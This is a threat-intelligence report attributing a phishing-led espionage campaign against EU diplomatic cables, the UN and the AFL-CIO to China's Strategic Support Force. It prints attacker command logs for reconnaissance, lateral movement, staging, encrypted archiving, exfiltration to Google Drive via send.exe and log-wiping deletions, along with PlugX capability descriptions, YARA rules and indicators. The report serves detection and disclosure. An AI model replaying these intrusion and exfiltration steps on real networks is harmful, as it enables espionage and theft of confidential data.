



# PHISHING DIPLOMACY

## PHISHING DIPLOMACY

The mission of Area 1 Security is to eliminate phishing, and through the course of our normal business, we often discover the origins and outcomes of cyber campaigns.

Phishing Diplomacy is our report that details a Chinese government cyber campaign targeting Intergovernmental Organizations, Ministries of Foreign Affairs, Ministries of Finance, trade unions, and think tanks. Over 100 hundred organizations were identified in this campaign by Area 1 Security as targets of the Chinese government's Strategic Support Force (SSF), which ultimately led to the breach of a diplomatic communications network of the European Union.

This report is not the first to expose a specific cyber campaign, nor will it have a direct impact on deterring the actors responsible. Our report shows that Chinese government hacking is technically unremarkable and consistent in three areas across all cyber campaigns:

- 1 Phishing remains the dominant method through which cyber actors gain access into computer networks 9 out of 10 times.
- 2 Cyber attacks are more akin to an assembly line than to individual snowflakes. Rather than characterizing the attacks as sophisticated we see them as imaginative and persistent. Very little about cyber attacks is cutting-edge computer science. However, there is a high level of creativity in the diverse phishing lures used to gain access and in the attackers' ability to identify non-obvious targets that allow them to achieve their desired outcomes.
- 3 Cyber actors continually use their imagination to find the weakest links in the digital chain, breaching their intended targets through open side doors instead of breaking the locks down on the front door.

Because the cybersecurity doom narrative has become so embellished, we've lost our nerve to take action to prevent future damages. Around the world cyber campaigns are evolving to be an essential tool for waging war, disrupting trade, stealing property, and conducting espionage with limited resources or repercussions. Our democracy remains susceptible to cybersecurity attacks; our computing infrastructure is permeated with deep vulnerabilities; major corporations entrusted with the safeguarding of information continue to be compromised; and we as individuals have adopted a laissez-faire attitude towards the whole thing.

Cyber campaigns linked to China have served for many years as a catalyst for both national-security and cybersecurity experts to raise awareness and allocate resources to an issue historically relegated to the basements of organizations. After years of publicly censuring the PRC for cyber-based economic espionage, Washington and Beijing reached an agreement in 2015 to curtail the hacking of private companies for commercial gain. As 2018 comes to a close, tensions between the two countries over hacking allegations are once again on the rise.

---

<sup>1</sup> The Legend of Sophistication in Cyber Operations <https://www.belfercenter.org/publication/legend-sophistication-cyber-operations>



OREN J. FALKOWITZ | CO-FOUNDER & CEO



BLAKE DARCHÉ | CO-FOUNDER & CSO

Beginning in April of 2015, Area 1 Security's active sensors and research team began observing technical artifacts of a cyber campaign directed at Intergovernmental Organizations, Ministries of Foreign Affairs and Ministries of Finance, as well as trade unions and think tanks.

is a crucial instrument in the EU system of foreign policymaking.

<sup>2</sup> 3PLA was the Signals Intelligence (SIGINT) agency of the Peoples Republic of China and was reorganized around December 2015 to become part of the Strategic Support Force or SSF (战略支援部队)

# Campaign Details

## STEP 1

Initial access was gained by phishing network administrators and senior staff within the target organization to steal their credentials (usernames and passwords).

## STEP 2

Credentials obtained via phishing allowed direct access into the networks with associated network privileges transferred by the user compromised.

## STEP 3

Malware was introduced into the network to create a persistent backdoor and establish a path for command and control communications.

In this example, PlugX was used as the malware. Samples analyzed by Area 1 Security can be connected to campaigns as early as 2010 and remain undetected by antivirus solutions.

IN THE EARLY STAGES OF A CYBER OPERATION, COMPROMISED HOSTS SERVE AS A STAGING AREA FOR PIVOTING ACROSS THE NETWORK. THE INITIAL USER WHO WAS PHISHED HAS THEIR COMPUTER USED AS A STAGING AREA, AN INTERNAL PROXY, FROM WHICH OTHER COMPUTERS AND FILES THROUGHOUT THE NETWORK, OTHERWISE UNREACHABLE FROM THE PUBLIC INTERNET, CAN BE ACCESSED.

# Campaign Details

## STEP 4

Once within the network, a series of host and network surveys are conducted to help the attacker orient themselves as to where they are.

**dir** - shows all of the files and folders available on the computer

```
Directory of C:\Users\[redacted]

03/30/2015  09:14 AM  <DIR>          .
03/30/2015  09:14 AM  <DIR>          ..
03/13/2014  03:43 PM  <DIR>          .docuantage
01/29/2015  02:46 PM                4,741,782 Appendix_ARF-4Q_Oct-Dec_14.docx
01/29/2015  02:46 PM                1,217,346 Appendix_ARF-4Q_Oct-Dec_14.pdf
11/23/2015  11:08 AM  <DIR>          Contacts
01/06/2016  11:28 AM  <DIR>          Desktop
11/23/2015  11:08 AM  <DIR>          Documents
01/05/2016  02:19 PM  <DIR>          Downloads
02/24/2016  12:08 PM  <DIR>          Dropbox
11/23/2015  11:08 AM  <DIR>          Favorites
01/06/2016  11:28 AM  <DIR>          Google Drive
11/23/2015  11:08 AM  <DIR>          Links
05/13/2014  10:12 AM  <DIR>          Mozilla
11/23/2015  11:08 AM  <DIR>          Music
03/13/2014  10:49 AM  <DIR>          Oracle
11/23/2015  11:08 AM  <DIR>          Pictures
01/29/2015  02:46 PM                9,296,384 ROL 2014 MJP ARF-4Q_Oct-Dec 14_Yonlada.doc
11/23/2015  11:08 AM  <DIR>          Saved Games
11/23/2015  11:08 AM  <DIR>          Searches
03/30/2015  09:14 AM  <DIR>          Tracing
11/23/2015  11:08 AM  <DIR>          Videos
```

**tasklist** - shows the process list on the computer

```
C:\Users\[redacted]\AppData\Roaming>tasklist
```

Image Name	PID	Session Name	Session#	Mem Usage
armsvc.exe	1804	Services	0	804 K
cam.exe	1824	Services	0	2,132 K
CSAMPmux.exe	1844	Services	0	2,032 K
CAF.exe	1868	Services	0	4,860 K
casplitegent.exe	1908	Services	0	2,540 K
RtaAgent.exe	2028	Services	0	2,212 K
mdm.exe	1448	Services	0	1,404 K
PSANHost.exe	1708	Services	0	14,860 K
PSUAService.exe	2108	Services	0	2,860 K
vmware-usbarbitrator64.exe	2148	Services	0	900 K

# Campaign Details

vmnat.exe	2188 Services	0	736 K
WAHost.exe	2280 Services	0	20,304 K
WmiPrvSE.exe	2312 Services	0	4,432 K
vmware-authd.exe	2432 Services	0	2,332 K
vmnetdhcp.exe	2736 Services	0	780 K
WmiApSrv.exe	3248 Services	0	1,400 K
cfsmsmd.exe	3500 Services	0	1,920 K
ccnfAgent.exe	3692 Services	0	5,612 K
cfnotsrvd.exe	3800 Services	0	2,080 K
ccsmagtd.exe	3836 Services	0	4,172 K
rcHost.exe	3956 Services	0	2,804 K
amswmagt.exe	3992 Services	0	864 K
cfFTPPlugin.exe	3208 Services	0	1,740 K
taskhost.exe	4040 Console	1	5,716 K
dwm.exe	3008 Console	1	34,340 K
explorer.exe	2672 Console	1	42,120 K
igfxtray.exe	4328 Console	1	796 K
hkcmd.exe	4344 Console	1	996 K
igfxpers.exe	4356 Console	1	2,800 K
PSUAMain.exe	4428 Console	1	5,228 K
SearchIndexer.exe	4392 Services	0	12,120 K
OUTLOOK.EXE	3464 Console	1	41,608 K
jucheck.exe	4608 Console	1	1,092 K
chrome.exe	[truncated]		
splwow64.exe	5656 Console	1	3,536 K
audiodg.exe	3176 Services	0	13,008 K
WINWORD.EXE	5208 Console	1	36,112 K
RdrCEF.exe	[truncated]		
conhost.exe	[truncated]		
xcopy.exe	4116 Console	1	3,400 K
cmd.exe	3516 Console	1	3,572 K
tasklist.exe	1776 Console	1	5,380 K
WmiPrvSE.exe	6236 Services	0	6,276 K

The running processes show the SSF was copying cables from the COREU network at the same time the user was going about their day. VMware running may indicate this user's machine has a privileged user persona.



**ipconfig** - shows the IP address information of the host

```
C:\Users\[redacted]\AppData\Roaming>ipconfig /all

Windows IP Configuration

Host Name . . . . . : WIN7ENT-T09HKKG
Primary Dns Suffix . . . . . : unhq.un.org
Node Type . . . . . : Hybrid
DNS Suffix Search List. . . . . : unhq.un.org
                                un.org
                                ptc.un.org
                                stc.un.org
                                pbf.un.org
```

# Campaign Details

## Ethernet adapter Local Area Connection:

```
Connection-specific DNS Suffix . : unhq.un.org.  
Description . . . . . : Intel(R) 82579LM Gigabit Network Connection  
Physical Address. . . . . : 44-37-E6-AE-95-2F  
DHCP Enabled. . . . . : Yes  
Autoconfiguration Enabled . . . . : Yes  
IPv4 Address. . . . . : 10.240.88.163(Preferred)  
Subnet Mask . . . . . : 255.255.254.0  
Default Gateway . . . . . : 10.240.89.254  
NetBIOS over Tcpip. . . . . : Enabled
```



**ping** - sends a connection request to another computer to determine if it is available on the network

```
ping -n 1 [redacted]
```

```
Pinging [redacted].hq.aficio.org [10.140.2.12] with 32 bytes of data:  
Reply from 10.140.2.12: bytes=32 time=1ms TTL=127  
Ping statistics for 10.140.2.12:  
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),  
    Approximate round trip times in milli-seconds:  
        Minimum = 1ms, Maximum = 1ms, Average = 1ms
```



**net user** - sends a request for detailed information on the user specified to the domain controller

```
net user [redacted] /domain
```

The request will be processed at a domain controller for domain hq.aficio.org.

```
User name [redacted]  
Full Name [redacted]  
Comment  
User's comment  
Country code 000 (System Default)  
Account active Yes  
Account expires Never  
  
Password last set 11/13/2012 12:23:55 PM  
Password expires Never  
Password changeable 11/13/2012 12:23:55 PM  
Password required No  
User may change password Yes
```

```
Local Group Memberships  
Global Group memberships *China_WDrive-SG *PDrive_OPEIU_FullAcce  
*EveryoneSolidarity_Fo*Impromptu XP-SG  
*Domain Users
```

The command completed successfully.

# Campaign Details



**net view** - is used to show a list of computers and network devices on the network  
( In this example the remote host is the United Nations File Server )

```
net view \\10.250.14.16
```

Share name	Type	Used as	Comment
5thComm_Common	Disk		5th Committee Common Files
5thComm_CPC	Disk		DM/EO/5thCommittee CPC Data
CSS_Common	Disk		DM/CSS Common Files
CSS_HCC	Disk		DM/CSS HCC Files
CSS_OCSS	Disk		DM\EO
CSS_Studies	Disk		DM/CSS Studies
DME0_Common	Disk		DME0 Common Files
DME0SG_Common	Disk		DM-E0SG Common Files
DME0SG_Internal	Disk		DME0SG Internal Service Files
DPA_Common	Disk		Common share for DPA
FMD_IRU	Disk		DM/CSS/FMD IRU
FMD_OSPU	Disk		DM/CSS/FMD BMScadd OGPU
FMD_Paradox	Disk		DM/CSS/FMD Paradox
FMD_PMU	Disk		DM/CSS/FMD PMU
ITSD_MAA	Disk		McAfee DAT share
OUSG_Clearance_Database	Disk		OUSG_Clearance_Database
Treasury_Frustram	Disk		DM/OUSG/Treasury Frustram Application
Treasury_Lotus5	Disk		DM/OUSG/Treasury Lotus Calendar
Treasury_Off	Disk		DM/OUSG/Treasury Off Directory
Treasury_Shared	Disk		DM/OUSG/Treasury Shared Files
Treasury_Treasury	Disk		DM/OUSG/Treasury Files
Treasury_TRSCV	Disk		DM/OUSG/Treasury TRSCV Directory
UNDSS_Admin	Disk		
UNDSS_Common	Disk		
undss_data	Disk		
UNEP_Common	Disk		
UNRWA_Common	Disk		

The command completed successfully.

## STEP 5

Native Windows console commands, such as net use and at allow movement from machine to machine within the network.

At this point, while within the network, SSF was able to identify the files and machines of interest.





# Campaign Details



In the breach of the Ministry of Foreign Affairs of Cyprus, SSF uses the net use command to map to the remote file server that stored the diplomatic cables from the COREU network.

```
C:\Users\██████████\AppData\Roaming\sysinfo>net use \\MFACENTRALREGIS\ipc$ ██████████ /u:govcy\MFAAdmin
```

```
The command completed successfully.
```



In the breach of the United Nations, SSF was able to check which remote resources have been successfully mapped to the local host.

```
net use
```

```
New connections will be remembered.
```

Status	Local	Remote	Network
OK	H:	\\SECF09\Home	Microsoft Windows Network
OK	K:	\\secf04\batch_dpko	Microsoft Windows Network
OK	O:	\\SECF05\WIN7PROD	Microsoft Windows Network
	T:	\\unhq.un.org\Shared\dpko_oo\oasg-oo files	Microsoft Windows Network
OK		\\10.250.14.16\ipc\$	Microsoft Windows Network

```
The command completed successfully.
```

```
at \\10.130.133.18
```

Status	ID	Day	Time	Command Line
	1	Tomorrow	4:39 PM	c:\intel\windowsupdate.exe



In the breach AFL-CIO, SSF was able to identify machines within the Solidarity Center.

```
net use \\815-san-31\ipc$ ██████████ /u:hq\netbackup  
The command completed successfully.
```

```
net use \\815-san-31\ipc$ /del  
\\815-san-31\ipc$ was deleted successfully.
```

# Campaign Details

WHILE OFTEN DESCRIBED AS “SOPHISTICATED” CYBER CAMPAIGNS ARE VERY REPETITIVE. ONCE INITIAL ACCESS TO A MACHINE IS ESTABLISHED, THE ATTACKER DETERMINES WHAT OTHER MACHINES CAN BE CONNECTED TO, WHAT DATA IS AVAILABLE ON THOSE MACHINES, AND THEN RINSES AND REPEATS. IT’S THE SERIES OF ACTIONS BETWEEN STEPS 6-8 THAT GIVE SOME INSIGHT INTO THE ATTACKER’S INTENT.

## STEP 6

Once the data is identified, it is staged in preparation for exfiltration using **xcopy**, the Windows command to copy data remotely across computer networks.

```
c:\intel\sysinfo>xcopy \\MFA\c$\data\COREU\201807\*.* /s /d:07/23/2018

\\MFA\c$\data\COREU\201807\COASI246.txt
\\MFA\c$\data\COREU\201807\COASI247.txt
\\MFA\c$\data\COREU\201807\COASI248.txt
\\MFA\c$\data\COREU\201807\COASI249.txt
\\MFA\c$\data\COREU\201807\COASI250.txt
\\MFA\c$\data\COREU\201807\COASI251.txt
\\MFA\c$\data\COREU\201807\COASI252.txt
\\MFA\c$\data\COREU\201807\COASI253.txt
\\MFA\c$\data\COREU\201807\COASI254.txt
\\MFA\c$\data\COREU\201807\COEST144.txt
[output truncated]
55 File(s) copied
```

Example: XCOPY of COREU network from within the Ministry of Foreign Affairs of Cyprus

In this case, we see documents being taken from staff members with the following titles:  
Program Officer, Communications Program Officer, Law Programs Counsel, Labor and Employment  
Law Counsel, Political Operations, Senior Communications Officer, and Spokesman at the AFL-CIO

# Campaign Details

```
xcopy "\\[redacted]\c$\users\[redacted]\desktop\*.*" /s /d:12/01/2015

\\[redacted]\c$\users\[redacted]\desktop\TPP-Final-Text-Labour-US-VN-Plan-for-Enhancement-of-Trade-and-Labor-Relations.pdf

xcopy "\\[redacted]\c$\users\[redacted]\Downloads\*.*" /s /d:10/13/2015
\\[redacted]\c$\users\[redacted]\Downloads\Discussing Migrant Worker Rights.doc
\\[redacted]\c$\users\[redacted]\Downloads\labour laws and workers rights.pdf

xcopy "\\[redacted]\c$\users\[redacted]\documents\*.*" /s /d:12/01/2015
\\[redacted]\c$\users\[redacted]\documents\1Password\Backups\1Password 2015-12-01 152526 (53 items).agilekeychain.zip
```

\*\* Example XCopy of data from within the AFL-CIO Solidarity Center

Copies of keychain files generated by a password management application were taken, giving SSF the ability to view and use each password that the user has saved.

```
xcopy z:"\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\*.*" /s

Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\Profiles\20160321 Profile - President Xi Jinping of China.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\Profiles\2016-03-21 Profile - President Xi Jinping of China.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\Meeting notes\20160202 DSG mtg with DPR.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\Meeting notes\20160212 Note file JF meeting DPR.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\Meeting notes\20162801 DSG mtg with DPR.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\Notes\20160222_Note to JF, China ASEAN relations.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\Notes\20160222_Note to JF, China's economic downturn.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\TPs and BNs\160318 KM SG mtg China President.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\TPs and BNs\201603 ASG BN mtg with ASEAN-SCS-input.doc
Z:\_DPA_Shared\_APD_Shared\6. Northeast Asia\2016 CHINA\TPs and BNs\2016-03-21 KM SG mtg China President.doc
11 File(s) copied
```

Example: XCOPY of File Server from within the United Nations

## STEP 7

Before removing data from the target network, files were compressed into a password protected RAR archive on the local machine and the file was renamed from "rar.exe" to "infos.txt." In the sample below ***(-m5) for enhanced compression and (-p) to password-encrypt the archive*** were used within the network of the Ministry of Foreign Affairs of Cyprus.

# Campaign Details



In some instances, we observed SSF splitting large files into smaller parts using the -v command option. The intent is to spread the volume of data taken at a given time to avoid anomaly detection and large network spikes of outbound data volumes.

```
c:\intel>infos.txt a -m5 -p ██████████ sys.rar sysinfo
```

```
RAR 3.90 Copyright (c) 1993-2009 Alexander Roshal 16 Aug 2009
Shareware version Type RAR -? for help
Evaluation copy. Please register.
```

```
Creating archive sys.rar
```

```
Adding sysinfo\██████████\COAFR127.txt 3% OK
Adding sysinfo\██████████\COAFR128.txt 8% OK
Adding sysinfo\██████████\COAFR129.txt 9% OK
Adding sysinfo\██████████\COAFR130.txt 11% OK
Adding sysinfo\██████████\COAFR131.txt 12% OK
Adding sysinfo\██████████\COAFR132.txt 13% OK
Adding sysinfo\██████████\COAFR133.txt 15% OK
Adding sysinfo\██████████\COASI232.txt 15% OK
Adding sysinfo\██████████\COASI233.txt 15% OK
[output truncated]
Adding sysinfo\██████████ OK
Adding sysinfo OK
Done
```

Example: COREU RAR from within the Ministry of Foreign Affairs of Cyprus



## RAR command output

```
Creating archive sys.rar
```

```
Adding temp\+20 Meetings, Etc\+20\+20.pdf 0%
Adding temp\+20 Meetings, Etc\+20\._+20.pdf 0% OK
Adding temp\+20 Meetings, Etc\Jana Richardson (events planner)\DBDEvents_SolidarityCenter_
Invoice2.xls 0%
Adding temp\+20 Meetings, Etc\Wash.Hilton Cred. Card Auth for Deposit.pdf 0%
Adding temp\AFL-CIO\Draft letters for RLTrumka\Cover Memo for Requesting Officer's Sig.
for letter to Shawna re extension of contract.doc 1% OK
Adding temp\AFL-CIO\Draft letters for RLTrumka\R.Trumka letter re extension of SBB as
E.D..docx 1% OK
Adding temp\AFL-CIO\Draft letters for RLTrumka\R.Trumka letter to Stanbic bank in
Zimbabwe.docx 1% OK
Adding temp\Alvarez Porter\+20 Launch & Meetings\Alvarez_Appreciative-Approach-to-Change-
in-Unions.docx 1% OK
Adding temp\Alvarez Porter\APG SC 1-16 Invoice.pdf 1% OK
[output truncated]
```

# Campaign Details

## STEP 8

The final step is to remove the data from the network. It was completed by sending the files to public cloud services such as Google Drive using a tool based on a publicly available utility called send.exe.

```
We are going to send sys.rar
Send 206
Send 97
Send 32768
Send 65536
[output truncated]
```

Access to these cloud services is over a TLS encrypted channel, which is difficult to inspect, often overlooked, and typical of normal network activity. Cloud services provide the perfect platform for data exfiltration storage and data analysis.

Once the data has been exfiltrated, all evidence of the prior activity is removed.

```
net use \\[redacted]\ipc$ /del
del sys.rar
del *.exe
del *.dll
del *.ini
rd /s /q sysinfo
```

```
xcopy z:"\_DPA_Shared\_APD_Shared\3. Southeast Asia & Regional Orgs\*.doc" /s /d:02-01-2016
xcopy z:"\_DPA_Shared\_APD_Shared\9. Territorial - Maritime Issues\*.doc" /s /d:02-01-2016
```

# Tools

## ANALYSIS OF PLUGX

The PlugX implant was used in these attacks to move throughout the victims' networks. One particular sample, with SHA-256 hash c1c80e237f6fbc2c61b82c3325dd836f3849ca036a28007617e4e27ba2f16c4b and compilation timestamp Sun Jun 17 17:44:58 2012, was found as an artifact in the campaign.

Common to the PlugX family, DLL side-loading is used to initiate the malicious implant using a benign, legitimate program. The actor loads three files onto the target system: the legitimate signed application executable, the loader DLL, and the encrypted payload. When the executable is run, the payload is decrypted, decompressed, and loaded into memory, which allows the implant to bypass many defenses.

---

### THE ATTACKS USED A PLUGX SAMPLE WITH ALL OF THE STANDARD FEATURES:

- UAC bypass
- Installation as a Windows service for persistence
- Filesystem management
- Keylogging
- Network resource enumeration
- Network connection control and statistic
- Shutdown/reboot/logout control
- Port forwarding
- Process enumeration
- Windows registry editing
- Screen capturing
- Service management
- Standard Windows command shell cont
- SQL tools for connecting to databases
- Telnet

---

The features provided by PlugX facilitate all aspects of an operation, from performing reconnaissance within a network, to lateral movement and data exfiltration.

# Tools

## ANALYSIS OF SEND.EXE

The primary exfiltration tool of CHN24, simply called “google send” by the actor, is written using the Borland Delphi environment. The command-line tool, typically named `send.exe` on the victim host, is responsible for establishing a connection to Google Drive and uploading local files to the actor’s account on the cloud service. The developers of ***send.exe*** based the tool on Astonsoft’s Google Drive “Delphi Component” library that includes components to write applications that can interact with the Google Drive API in Delphi.

To run ***send.exe***, the actor must store Google OAuth2 credentials in a file named ***RefreshToken.ini*** in the same directory as the executable, and then upload the file as a command-line argument. Additionally, the library files, ***libeay32.dll*** and ***ssleay32.dll***, must be installed or be present in the same directory. For this reason, the tool, configuration file, and library files are typically dropped onto the compromised machine in a .rar archive file and extracted. When run, `send.exe` will

connect to Google Drive and begin to upload the local file, providing status updates on the bytes uploaded.

The ***send.exe*** tool has a mix of the actor’s code and sample code from the Astonsoft website. On their website, Astonsoft provides a trial and demo for the Google Drive Delphi Component. The ***Main.pas*** file in the demo code is provided as an example, and the ***GoogleDriveDemo.exe*** file is a runnable example application. It appears that the actor incorporated code in ***Main.pas*** to automate file uploads without the use of a GUI. More specifically, the code automatically retrieves credentials from the configuration file and exfiltrates the selected file to the Google Drive account without prompting the user. In the initialization procedure for the ***Main.pas*** application, distinct placeholder strings such as “Enter your client ID here” and “Enter your client secret here” can be seen where user credentials are read. The snippet of code can be seen below.

### Main.pas

```
procedure TMainFrm.FormCreate(Sender: TObject);
begin
  GoogleDrive := TGoogleDrive.Create;
  GoogleDrive.OnUploadProgress := OnProgress;
  GoogleDrive.OnDownloadProgress := OnProgress;
  GoogleDrive.LogFileName := '_GoogleDrive.log';
  IniFile := TMemIniFile.Create('RefreshToken.ini');
  ClientIDEd.Text := IniFile.ReadString('General', 'ClientID', 'Enter your client ID here');
  ClientSecretEd.Text := IniFile.ReadString('General', 'ClientSecret', 'Enter your client secret here');
  GoogleDrive.RefreshToken := IniFile.ReadString('General', 'RefreshToken', '');
end;
```

# Tools

## ANALYSIS OF SEND.EXE

In the compiled demo provided by Astonsoft, these message strings were replaced with actual values. However, in the actor's code the placeholder strings remain intact, suggesting that the code was directly copied from the Main.pas routine. Both of these observations can be seen in the two screenshots below.

<sup>3</sup> <https://www.sync-components.com/google-delphi-components/google-drive>

### GoogleDriveDemo.pas

```
push    offset a69149531452_ap ; "69149531452.apps.googleusercontent.com"
lea     eax, [ebp+var_4]
push    eax
mov     eax, esi
mov     ecx, offset aClientid ; "ClientID"
mov     edx, offset aGeneral ; "General"
mov     esi, [eax]
call    dword ptr [esi+4]
mov     edx, [ebp+var_4]
mov     eax, [ebx+3E8h] ; this
call    sub_5386E8
push    offset a0zxqiztekbyikj ; "oZXqiztEkByIKJPEFOUjOLCp"
lea     eax, [ebp+var_8]
push    eax
mov     eax, [ebx+458h]
mov     ecx, offset aClientsecret ; "ClientSecret"
mov     edx, offset aGeneral ; "General"
```

### send.exe

```
push    offset aEnterYourCli ; "Enter your client ID here"
lea     eax, [ebp+var_18]
push    eax
mov     ecx, offset aClientid ; "ClientID"
mov     edx, offset aGeneral ; "General"
mov     eax, ds:dword_55E448
mov     ebx, [eax]
call    dword ptr [ebx+4]
mov     edx, [ebp+var_18]
mov     eax, ds:dword_55E444
add     eax, 14h
call    sub_4073C0
push    offset aEnterYourCli_0 ; "Enter your client secret here"
lea     eax, [ebp+var_1C]
push    eax
mov     ecx, offset aClientsecret ; "ClientSecret"
mov     edx, offset aGeneral ; "General"
```



# Tools

## ANALYSIS OF SEND.EXE

Given the overlap in code, Area 1 Security believes that the developers of **send.exe** relied on the GUI application sample code provided by Astonsoft to create their command-line utility. Due to the reliance on the Astonsoft demo code, the developer inadvertently revealed “google send” as the name for their software, which was deduced from the inclusion of the embedded string “Z:\D\google send\superobject.pas.”

Finally, below is the actor’s OAuth2 configuration file, named **RefreshToken.ini**. The ClientID is a unique identifier for the Google account whose Google Drive acts as a cloud storage for data exfiltration. Also included in the file are the ClientSecret and RefreshToken used for authentication to the Google account. Please note, ClientSecret and RefreshToken were hashed with SHA1 by Area 1 Security to allow researchers to match them in the event that an ongoing investigation would be aided by this information.

### RefreshToken.ini

---

```
[General]
ClientID=205408245657-eg0r569euk8qef5nkab52b01c15i3nn5.apps.googleusercontent.com
ClientSecret=***d6e884fb2021f7852a68b84ddedd7e3764f4f1d7**
RefreshToken=**46836a597b3213683986d68c2a7df6027fd4e1f1**
```

---

# Tactics, Techniques, and Procedures (TTPs)

Area 1 Security mapped SSF's TTPs to the appropriate MITRE ATT&CK matrix as detailed below.

ATT&CK TACTIC	REFERENCE
Spear phishing messages with malicious links	T1369 Spear Phishing with Links
Spear phishing messages with malicious attachments	T1367 Spear Phishing with Attachments
Browsing target web sites from C2 servers	TA0015 Technical Information Gathering
Dynamic DNS domains used for C2	TA0022 Establish & Maintain Infrastructure
Parking domains at localhost 127.0.0.1 during periodic dormancy in active operations	TA0021 Adversary OPSEC
Periodically turning the C2s on and off to conduct surveys to collect victim information and check their persistence in victim organizations (Maintenance Mode)	T1119 Automated Collection
Leverage reverse shells to laterally spread RAR SFX archives with PlugX implant on multiple victim hosts	T1105 Remote File Copy
Maintain a large implant presence across many victim hosts in the same organization	TA0014 Target Selection
Moving data locally on host to staging directory	T1074 Data Staged
Systematically collect and gather large amounts of data from Desktop/Documents/Downloads folders	T1005 Data from Local System
Dump and pass hashes/passwords using WCE	T1003 Credential Dumping
Use of encryption in malware implants	T1079 Multilayer Encryption
Use of a Google cloud tool bundled with OpenSSL libraries to exfiltrate data to cloud resources	T1022 Data Encrypted
Renaming or deleting tools after use	T1107 File Deletion
Targeting or exfiltrating data preceding state official visits	TA0012 Priority Definition Planning
Attack campaigns ending prior to diplomats/politicians meeting with Chinese officials	TA0013 Priority Definition Direction
Password protected RAR archives for data exfiltration	T1022 Data Encrypted

# Detections and Mitigations

plugx.dll

```
rule Area1_SSF_PlugX {
  strings:
    $feature_call = { 8b 0? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6a 07 6a
ff ff d0 8b f0 85 f6 74 14 }
    $keylogger_reg = { 8b 4d 08 6a 0c 6a 01 8d 55 f4 52 c7 45 f4 01 00 06 00 c7 45 f8
00 01 00 00 89 4d fc ff d0 85 c0 75 1d }
    $file_op = { 55 8b ec 83 ec 20 0f b7 56 18 8b 46 10 66 8b 4e 14 89 45 e4 8d 44 32
10 66 89 4d f0 0f b7 4e 1a 57 89 45 e8 33 ff 8d 45 e0 8d 54 31 10 50 89 7d e0 89 55
ec c7 45 fa ?? ?? ?? ?? 89 7d f2 89 7d f6 ff 15 1c 43 02 10 }
    $ver_cmp = { 0f b6 8d b0 fe ff ff 0f b6 95 b4 fe ff ff 66 c1 e1 08 0f b7 c1 0b c2
3d 02 05 00 00 7f 2c }
    $regedit = { c7 06 23 01 12 20 c7 46 04 01 90 00 00 89 5e 0c 89 5e 08 e8 51 fb ff
ff 8b 4d 08 8b 50 38 68 30 75 00 00 56 51 ff d2 }
    $get_device_caps = { 8b 1d ?? ?? ?? ?? ?? 6a 08 50 ff d3 0f b7 56 12 8b c8 0f af ca
b8 1f 85 eb 51 f7 e9 c1 fa 05 8b c2 c1 e8 1f 03 c2 89 45 f8 8b 45 f0 6a 0a 50 ff d3
0f b7 56 14 8b c8 0f af ca b8 1f 85 eb 51 }
  condition:
    3 of them
}
```

send.exe

```
rule Area1_SSF_GoogleSend_Strings {
  strings:
    $conf = "RefreshToken.ini" wide
    $client_id = "Enter your client ID here" wide
    $client_secret = "Enter your client secret here" wide
    $status = "We are going to send" wide
    $s1 = { b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d ?? ?? ?? ?? 00 75 ?? 51 52
6a 00 e8 ?? ?? ?? ?? 5a 59 b8 00 01 00 00 f0 0f b0
23 0f ?? ?? ?? ?? ?? 51 52 6a 0a e8 ?? ?? ?? ?? 5a 59 eb c3 }
  condition:
    uint16(0) == 0x5a4d and all of them
}
```

# Indicators

## NVSMARTMAX.DLL (PLUGX LOADER)

**SHA-256 Hashes:** f6c42bc2220fd864ed475b712d2d239ef133a2960f84ecdb419acceac4ebe3

**SHA-1 Hashes:** dce0f3d5a537b722efaa0f4f6f817e1b5b97248b

**MD5 Hashes:** 1d8f21039c629d08c65e9766691483fd | Nv.mp3 (PlugX Encrypted Payload)

**SHA-256 Hashes:** 73d016ca6988bbb854f294adb1f11e3fb7bc90222085fbd95fe0723aaa4428

**SHA-1 Hashes:** ed8b0b999b516b2488991f763894199e7a1447d7

**MD5 Hashes:** cba2271cc819101718a9460886ae47c2

**Command and Control Address:** updates.organiccrap[.]com

## PLUGX PAYLOAD

**SHA-256 Hashes:** c1c80e237f6fbc2c61b82c3325dd836f3849ca036a28007617e4e27ba2f16c4b

**SHA-1 Hashes:** 88222c4fe9b9af8300b135229ad7b3303c299aab

**MD5 Hashes:** 2ca739538e18ce6f881694d99f6e22e9

## SEND.EXE

**SHA-256 Hashes:** b65c57a380a1df69e61462e814575bf93a8ea5772621c1f19ccfff5bdd6a3e8f

**SHA-1 Hashes:** ccfa460974d270e26688de917811cc483035e09e

**MD5 Hashes:** 232c85f65de1ef2cab812f01f3761d49

**Exfiltration Address:** 205408245657-eg0r569euk8qef5nkab52b01cl5i3nn5.apps.googleusercontent.com

# Cables

Area 1 Security observed the SSF collecting thousands of diplomatic cables from the network of the Ministry of Foreign Affairs of Cyprus. Below is a table of the subjects the cables covered.

ACRONYM	COUNCIL WORKING PARTY	ACRONYM	COUNCIL WORKING PARTY
COACD	Criminal Appeal Court	COMED	Euro-Med Partnership
COAFR	Africa Working Party	COMEM	Middle East/Gulf
COARM	Exports of Conventional	COMEP	Middle East Peace
COASI	Asia-Oceania Working Party	COMET	Restrictive Measures to Combat Terrorism
COCON	Consular Affairs	COMIN	Foreign Affairs Ministers
COCOP	Common Position	CONOP	NonProliferation
CODEV	Development Cooperation	CONUN	United Nations
CODIV	Enhanced Wireless Communication Systems Employing COoperative DIversity	COPAR	Joint Committee
CODNL	Denial Notification	COPOL	Political and Security Committee
CODUD	Dual-Use Goods	COPRO	Protocol
CODUN	Global Disarmament and Arms Control	CORLX	Council Regulation
COELA	Enlargement and Countries	COSCE	OSCE and the Council of Europe
COEST	Eastern Europe and Central Asia	COSDP	Security and Defense Policy
